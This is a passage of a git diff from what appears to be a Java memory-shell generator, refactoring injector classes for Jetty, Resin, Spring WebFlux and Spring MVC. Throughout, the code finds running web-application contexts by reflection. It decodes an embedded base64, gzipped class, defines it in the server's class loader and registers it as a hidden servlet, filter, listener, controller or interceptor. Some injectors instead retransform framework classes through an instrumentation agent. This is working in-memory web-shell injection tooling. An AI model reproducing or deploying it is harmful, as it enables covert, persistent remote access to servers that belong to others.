getShell(Object context) throws Exception { - ClassLoader webAppClassLoader = getWebAppClassLoader(context); + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return webAppClassLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } public void inject(Object context, Object servlet) throws Exception { Object servletHandler = getFieldValue(context, "_servletHandler"); if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) { - System.out.println("servlet is already injected"); return; } - String[] classNames = new String[]{ "org.eclipse.jetty.servlet.ServletHolder", "org.eclipse.jetty.ee8.servlet.ServletHolder", "org.eclipse.jetty.ee9.servlet.ServletHolder", "org.eclipse.jetty.ee10.servlet.ServletHolder", + "org.eclipse.jetty.ee11.servlet.ServletHolder", "org.mortbay.jetty.servlet.ServletHolder", }; @@ -137,9 +168,12 @@ public void inject(Object context, Object servlet) throws Exception { invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder}); invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()}); - System.out.println("servlet inject successful"); } + @Override + public String toString() { + return msg; + } @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { @@ -186,7 +220,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { @@ -220,4 +254,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java index a20b1b09..25b885b3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java @@ -42,7 +42,6 @@ private static void launch(Instrumentation inst) throws Exception { inst.retransformClasses(allLoadedClass); } } - System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter"); } @Override @@ -61,6 +60,7 @@ protected ClassLoader getClassLoader() { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); @@ -77,12 +77,8 @@ public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Exception e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java index a5d67b6f..14a8bcc8 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; @@ -13,17 +14,7 @@ */ public class ResinFilterInjector { - public ResinFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getShell(context); - inject(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -37,6 +28,45 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } + public ResinFilterInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + /** * com.caucho.server.webapp.Application * /usr/local/resin3/lib/resin.jar @@ -71,21 +101,25 @@ public ClassLoader getWebAppClassLoader(Object context) throws Exception { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } private void inject(Object context, Object filter) throws Exception { - if (isInjected(context)) { - System.out.println("filter already injected"); - return; + Map filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters"); + for (String key : filters.keySet()) { + if (key.contains(getClassName())) { + return; + } } Class filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); Object filterMappingImpl = filterMappingClass.newInstance(); @@ -96,18 +130,11 @@ private void inject(Object context, Object filter) throws Exception { invokeMethod(urlPattern, "init", null, null); invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl}); invokeMethod(context, "clearCache", null, null); - System.out.println("filter injected"); } - @SuppressWarnings("all") - public boolean isInjected(Object context) throws Exception { - Map filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters"); - for (String key : filters.keySet()) { - if (key.contains(getClassName())) { - return true; - } - } - return false; + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -155,7 +182,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -184,4 +211,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java index 48bebc31..d28abe0d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Arrays; @@ -16,17 +17,7 @@ */ public class ResinListenerInjector { - public ResinListenerInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getShell(context); - inject(context, listener); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getClassName() { return "{{className}}"; @@ -36,6 +27,45 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } + public ResinListenerInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += ("context: [" + getContextRoot(context) + "] "); + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); @@ -66,29 +96,34 @@ public ClassLoader getWebAppClassLoader(Object context) throws Exception { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } private void inject(Object context, Object listener) throws Exception { List listeners = (List) getFieldValue(context, "_requestListeners"); for (Object o : listeners) { if (o.getClass().getName().contains(getClassName())) { - System.out.println("listener already injected"); return; } } invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true}); // 清除缓存,否则某些 uri 无法连接 invokeMethod(context, "clearCache", null, null); - System.out.println("listener injected successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -136,7 +171,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -165,4 +200,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java index 4b657716..2cea7b26 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java @@ -3,6 +3,7 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; @@ -14,17 +15,7 @@ */ public class ResinServletInjector { - public ResinServletInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object servlet = getShell(context); - inject(context, servlet); - } - } catch (Exception e) { - e.printStackTrace(); - } - } + private String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; @@ -38,6 +29,45 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } + public ResinServletInjector() { + List contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts != null) { + for (Object context : contexts) { + msg += "context: [" + getContextRoot(context) + "] "; + try { + Object shell = getShell(context); + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + public List getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); @@ -64,21 +94,25 @@ public ClassLoader getWebAppClassLoader(Object context) throws Exception { @SuppressWarnings("all") private Object getShell(Object context) throws Exception { ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; try { - return classLoader.loadClass(getClassName()).newInstance(); + clazz = classLoader.loadClass(getClassName()); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - return clazz.newInstance(); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); } private void inject(Object context, Object servlet) throws Exception { - if (isInjected(context)) { - System.out.println("servlet already injected"); - return; + Map servlets = (Map) getFieldValue(getFieldValue(context, "_servletManager"), "_servlets"); + for (String key : servlets.keySet()) { + if (key.contains(getClassName())) { + return; + } } Class servletMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.ServletMapping"); Object servletMapping = servletMappingClass.newInstance(); @@ -86,18 +120,11 @@ private void inject(Object context, Object servlet) throws Exception { invokeMethod(servletMapping, "setServletClass", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(servletMapping, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(context, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping}); - System.out.println("servlet injected success"); } - @SuppressWarnings("all") - public boolean isInjected(Object context) throws Exception { - Map servlets = (Map) getFieldValue(getFieldValue(context, "_servletManager"), "_servlets"); - for (String key : servlets.keySet()) { - if (key.contains(getClassName())) { - return true; - } - } - return false; + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -145,7 +172,7 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @SuppressWarnings("all") @@ -174,4 +201,19 @@ public static Object invokeMethod(Object obj, String methodName, Class[] para throw new RuntimeException("Error invoking method: " + methodName, e); } } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java index b995aa45..f4a53b71 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java @@ -19,6 +19,8 @@ */ public class SpringWebFluxHandlerFunctionInjector { + private String msg = ""; + public String getUrlPattern() { return "{{urlPattern}}"; } @@ -32,10 +34,11 @@ public String getBase64String() throws IOException { } public SpringWebFluxHandlerFunctionInjector() { + Object webHandler = null; try { - Object webHandler = getWebHandler(); - Object functionObj = getShell(); - inject(webHandler, functionObj); + webHandler = getWebHandler(); + Object shell = getShell(); + inject(webHandler, shell); } catch (Exception e) { e.printStackTrace(); } @@ -152,6 +155,6 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java index b408c451..94c2474d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java @@ -144,6 +144,6 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java index f2dab886..6d4f8b69 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java @@ -32,7 +32,7 @@ public String getBase64String() throws IOException { public SpringWebFluxWebFilterInjector() { try { FilteringWebHandler webHandler = getWebHandler(); - Object filter = getShell(); + Object filter = getShell(webHandler); inject(webHandler, filter); } catch (Exception e) { e.printStackTrace(); @@ -52,19 +52,18 @@ public FilteringWebHandler getWebHandler() throws Exception { return null; } - private Object getShell() throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - Object interceptor = null; + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + ClassLoader classLoader = context.getClass().getClassLoader(); try { - interceptor = classLoader.loadClass(getClassName()).newInstance(); + return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - interceptor = clazz.newInstance(); + return clazz.newInstance(); } - return interceptor; } public void inject(FilteringWebHandler webHandler, Object filter) throws Exception { @@ -117,6 +116,6 @@ public static Object getFieldValue(Object obj, String name) throws Exception { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java index acfcc3c5..8251d863 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java @@ -3,8 +3,8 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Map; import java.util.Set; @@ -16,6 +16,8 @@ */ public class SpringWebMvcControllerHandlerInjector { + private String msg = ""; + public String getUrlPattern() { return "{{urlPattern}}"; } @@ -29,48 +31,38 @@ public String getBase64String() throws IOException { } public SpringWebMvcControllerHandlerInjector() { + Object context = null; try { - Object context = getContext(); - Object interceptor = getShell(); - inject(context, interceptor); - } catch (Exception e) { - e.printStackTrace(); + context = getContext(); + } catch (Throwable e) { + msg += "context error: " + getErrorMessage(e); } - } - - public Class getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException { try { - return classLoader.loadClass("javax.servlet.ServletContext"); + Object shell = getShell(); + msg += "context: [" + context + "] "; + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; } catch (Throwable e) { - return classLoader.loadClass("jakarta.servlet.ServletContext"); + msg += "failed " + getErrorMessage(e) + "\n"; } + System.out.println(msg); } @SuppressWarnings("unchecked") - public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + public Object getContext() throws Exception { ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - Object context = null; try { Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); Object request = invokeMethod(requestAttributes, "getRequest"); - Object session = invokeMethod(request, "getSession"); - Object servletContext = invokeMethod(session, "getServletContext"); - context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext}); + return invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"}); } catch (Exception e) { - e.printStackTrace(); - } - if (context == null) { - try { - Set applicationContexts = (Set) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts"); - Object applicationContext = applicationContexts.iterator().next(); - if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) { - context = applicationContext; - } - } catch (Exception e) { - e.printStackTrace(); + Set applicationContexts = (Set) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts"); + Object applicationContext = applicationContexts.iterator().next(); + if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) { + return applicationContext; } } - return context; + return null; } private Object getShell() throws Exception { @@ -99,11 +91,14 @@ public void inject(Object context, Object controller) throws Exception { Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass}); Map handlerMap = (Map) getFieldValue(beanNameUrlHandlerMapping, "handlerMap"); if (handlerMap.get(getUrlPattern()) != null) { - System.out.println("controller already injected"); return; } handlerMap.put(getUrlPattern(), controller); - System.out.println("controller injected successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -183,7 +178,7 @@ public static Field getField(Object obj, String name) throws NoSuchFieldExceptio } } - throw new NoSuchFieldException(name); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } @@ -197,4 +192,19 @@ public static Object getFieldValue(Object obj, String name) throws NoSuchFieldEx } return null; } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcFrameworkServletAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcFrameworkServletAgentInjector.java index 79e0b926..76646c51 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcFrameworkServletAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcFrameworkServletAgentInjector.java @@ -33,7 +33,6 @@ private static void launch(Instrumentation inst) throws Exception { String name = allLoadedClass.getName(); if (TARGET_CLASS.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service"); } } } @@ -53,6 +52,7 @@ protected ClassLoader getClassLoader() { }; ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); + System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray(); } catch (Exception e) { e.printStackTrace(); @@ -69,12 +69,8 @@ public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name)) { - try { - Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); - } catch (Exception e) { - e.printStackTrace(); - } + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java index 36eae82d..e32299d5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java @@ -3,8 +3,8 @@ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.List; import java.util.Set; @@ -16,6 +16,8 @@ */ public class SpringWebMvcInterceptorInjector { + private String msg = ""; + public String getClassName() { return "{{className}}"; } @@ -25,50 +27,41 @@ public String getBase64String() throws IOException { } public SpringWebMvcInterceptorInjector() { + Object context = null; try { - Object context = getContext(); - Object interceptor = getShell(); - inject(context, interceptor); - } catch (Exception e) { - e.printStackTrace(); + context = getContext(); + } catch (Throwable e) { + msg += "context error: " + getErrorMessage(e); } - } - - public Class getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException { try { - return classLoader.loadClass("javax.servlet.ServletContext"); + Object shell = getShell(); + msg += "context: [" + context + "] "; + inject(context, shell); + msg += "[/*] ready\n"; } catch (Throwable e) { - return classLoader.loadClass("jakarta.servlet.ServletContext"); + msg += "failed " + getErrorMessage(e) + "\n"; } + System.out.println(msg); } @SuppressWarnings("unchecked") - public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + public Object getContext() throws Exception { ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - Object context = null; try { Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); Object request = invokeMethod(requestAttributes, "getRequest"); - Object session = invokeMethod(request, "getSession"); - Object servletContext = invokeMethod(session, "getServletContext"); - context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext}); + return invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"}); } catch (Exception e) { - e.printStackTrace(); - } - if (context == null) { - try { - Set applicationContexts = (Set) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts"); - Object applicationContext = applicationContexts.iterator().next(); - if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) { - context = applicationContext; - } - } catch (Exception e) { - e.printStackTrace(); + Set applicationContexts = (Set) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts"); + Object applicationContext = applicationContexts.iterator().next(); + if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) { + return applicationContext; } } - return context; + return null; } + @SuppressWarnings("all") private Object getShell() throws Exception { ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); Object interceptor = null; @@ -90,12 +83,15 @@ public void inject(Object context, Object interceptor) throws Exception { List adaptedInterceptors = (List) getFieldValue(abstractHandlerMapping, "adaptedInterceptors"); for (Object adaptedInterceptor : adaptedInterceptors) { if (adaptedInterceptor.getClass().getName().equals(getClassName())) { - System.out.println("interceptor already injected"); return; } } adaptedInterceptors.add(interceptor); - System.out.println("interceptor injected successfully"); + } + + @Override + public String toString() { + return msg; } @SuppressWarnings("all") @@ -175,7 +171,7 @@ public static Field getField(Object obj, String name) throws NoSuchFieldExceptio } } - throw new NoSuchFieldException(name); + throw new 